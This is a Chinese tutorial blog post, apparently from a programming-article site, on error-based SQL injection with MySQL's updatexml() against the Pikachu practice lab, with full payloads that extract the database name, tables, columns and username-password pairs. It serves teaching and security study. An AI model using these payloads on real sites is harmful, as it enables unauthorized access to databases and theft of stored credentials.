详解SQL报错盲注


Posted in SQL Server onJuly 23, 2022

今天继续给大家介绍Linux运维相关知识,本文主要内容是SQL报错盲注详解。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、SQL报错函数详解

updatexml();floor();extractvalue();等函数都可以用于构造SQL报错函数,今天我们主要来讲解使用updatexml()函数。
updatexml()函数使用格式如下:

updatexml(XML_document,XPath_string,new_value)

XML_document是String格式的XML文档名称,XPath_string是XPath格式的字符串,new_value是String格式的而字符串,用于替换查找到的符合条件的数据。
该函数有一个特性,即如果XPath_string不是XPath格式的字符串,就会报错并显示处XPath的值,因此,我们可以利用这一特性实现SQL报错盲注。此外,我们还可以利用updatexml()函数的特性,实现在SQL插入、删除等语句中的SQL注入。

二、SQL报错盲注payload构造

1、updatexml语句构造思路

updatexml()函数的构造,首先需要闭合SQL语句中的冒号、括号。其次还需要使用and或者or语句连接成一个单独的语句,这样即可成功执行updatexml()函数中的语句。
下面,我以皮卡丘靶场为例,来简单介绍一下updatexml报错注入payload的构造思路,皮卡丘靶场SQL insert/update型注入页面如下所示:

详解SQL报错盲注

从上图中可以看出,该页面功能上是提供人员的注册,因此可以猜测其内部是insert类型的SQL语句,因此我们可以在手机、住址等列(一般不要选择密码,因为很多网站都会把密码进行md5处理,从而导致我们的updatexml失效)中插入我们的updatexml语句。通过简单的实验可以得知,该站点的注入闭合为单引号,因此payload的构造格式为:

12' or updatexml() or'

2、查询当前数据库

当我们确定updatexml()函数的格式后,我们就可以写实际的payload语句了,相关命令如下所示:

12'or updatexml(1,concat(0x7e,database(),0x7e),0) or'

从上payload可以看出,updatexml()函数有三部分组成,我们需要把我们要执行的SQL语句写到第二部分,第二部分是一个concat()函数,之所以要拼接0x7e是因为该16进制字符是一个波浪线,也可以换成其他的字符。
该payload执行结果如下所示:

详解SQL报错盲注

从上图可以看出,我们当前的数据库名为pikachu。

3、查询表名

查询表名的payload如下所示:

12' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) or '

在上述payload中,concat中间的SQL语句要用括号括起来,然后写入正常的查询命令即可,该payload执行结果如下所示:

详解SQL报错盲注

从上图可以看出,我们查询到当前数据库存在一个名为httpinfo的表,如果我们更改limit的限制,那么我们可以得到更多的表。

4、查询列名

查询列名的payload如下所示:

12' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),0) or '

该payload构造原理与以上类似,执行结果如下所示:

详解SQL报错盲注

5、查询字段名

字段名查询的payload如下所示:

12' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu'),0x7e),0) or '

该payload构造原理与以上类似,执行结果如下所示:

详解SQL报错盲注

6、查询数据

数据查询的payload如下所示:

12' or updatexml(1,concat(0x7e,(select concat(username,'-',password) from users limit 0,1),0x7e),0) or '

该payload构造原理与以上类似,执行结果如下所示:

详解SQL报错盲注

到此这篇关于SQL报错盲注详解的文章就介绍到这了,更多相关SQL报错盲注内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

SQL Server 相关文章推荐
2021-4-3课程——SQL Server查询【2】
Apr 05 SQL Server
数据库之SQL技巧整理案例
Jul 07 SQL Server
SQL Server2019数据库备份与还原脚本,数据库可批量备份
Nov 20 SQL Server
sql server 累计求和实现代码
Feb 28 SQL Server
SQL Server查询某个字段在哪些表中存在
Mar 03 SQL Server
详解在SQLPlus中实现上下键翻查历史命令的功能
Mar 18 SQL Server
SQL Server数据库基本概念、组成、常用对象与约束
Mar 20 SQL Server
SQL Server 忘记密码以及重新添加新账号
Apr 26 SQL Server
SQL Server #{}可以防止SQL注入
May 11 SQL Server
SQL Server一个字符串拆分多行显示或者多行数据合并成一个字符串
May 25 SQL Server
SQL Server携程核心系统无感迁移到MySQL实战
Jun 01 SQL Server
详解SQL报错盲注
Jul 23 SQL Server
SQL bool盲注和时间盲注详解
Jul 23 #SQL Server
在SQL Server中使用 Try Catch 处理异常的示例详解
Jul 15 #SQL Server
SQL中的连接查询详解
Jun 21 #SQL Server
SQL Server数据库备份和恢复数据库的全过程
一次SQL查询优化原理分析(900W+数据从17s到300ms)
Jun 10 #SQL Server
SQL Server2019安装的详细步骤实战记录(亲测可用)
SQL Server携程核心系统无感迁移到MySQL实战
You might like
用PHP和ACCESS写聊天室(一)
2006/10/09 PHP
PHP获取服务器端信息的方法
2014/11/28 PHP
ThinkPHP5.0框架控制器继承基类和自定义类示例
2018/05/25 PHP
解决html按钮切换绑定不同函数后点击时执行多次函数问题
2014/05/14 Javascript
jQuery学习笔记之jQuery.fn.init()的参数分析
2014/06/09 Javascript
JavaScript前端图片加载管理器imagepool使用详解
2014/12/29 Javascript
JS+CSS实现自适应选项卡宽度的圆角滑动门效果
2015/09/15 Javascript
谈谈JavaScript自定义回调函数
2015/10/18 Javascript
JavaScript encodeURI 和encodeURIComponent
2015/12/04 Javascript
jquery插件jquery.LightBox.js实现点击放大图片并左右点击切换效果(附demo源码下载)
2016/02/25 Javascript
AngularJS  $modal弹出框实例代码
2016/08/24 Javascript
JavaScript“尽快失败”的原则实例详解
2016/10/08 Javascript
完全深入学习Bootstrap表单
2016/11/28 Javascript
基于vue2实现左滑删除功能
2017/11/28 Javascript
Vue.js 2.0和Cordova开发webApp环境搭建方法
2018/02/26 Javascript
纯异步nodejs文件夹(目录)复制功能
2019/09/03 NodeJs
javascript将16进制的字符串转换为10进制整数hex
2020/03/05 Javascript
[02:33]2018DOTA2亚洲邀请赛赛前采访——LGD
2018/04/04 DOTA
[43:24]完美世界DOTA2联赛PWL S3 INK ICE vs DLG 第二场 12.12
2020/12/17 DOTA
python基础教程之类class定义使用方法
2014/02/20 Python
深入讲解Java编程中类的生命周期
2016/02/05 Python
Python 多线程搜索txt文件的内容,并写入搜到的内容(Lock)方法
2019/08/23 Python
python lambda表达式(匿名函数)写法解析
2019/09/16 Python
python各层级目录下import方法代码实例
2020/01/20 Python
OpenCV+python实现实时目标检测功能
2020/06/24 Python
Django正则URL匹配实现流程解析
2020/11/13 Python
Pedro官网:新加坡时尚品牌
2019/08/27 全球购物
世界各地的旅游、观光和活动:Isango!
2019/10/29 全球购物
历史学专业个人的自我评价
2013/10/13 职场文书
优秀技术工人先进材料
2014/02/17 职场文书
大学生活动总结怎么写
2014/04/29 职场文书
四风专项整治工作情况汇报
2014/10/28 职场文书
2015年建党94周年演讲稿
2015/03/19 职场文书
导游词之山东红叶谷
2019/10/31 职场文书
导游词之无锡东林书院
2019/12/11 职场文书
python制作图形界面的2048游戏, 基于tkinter
2021/04/06 Python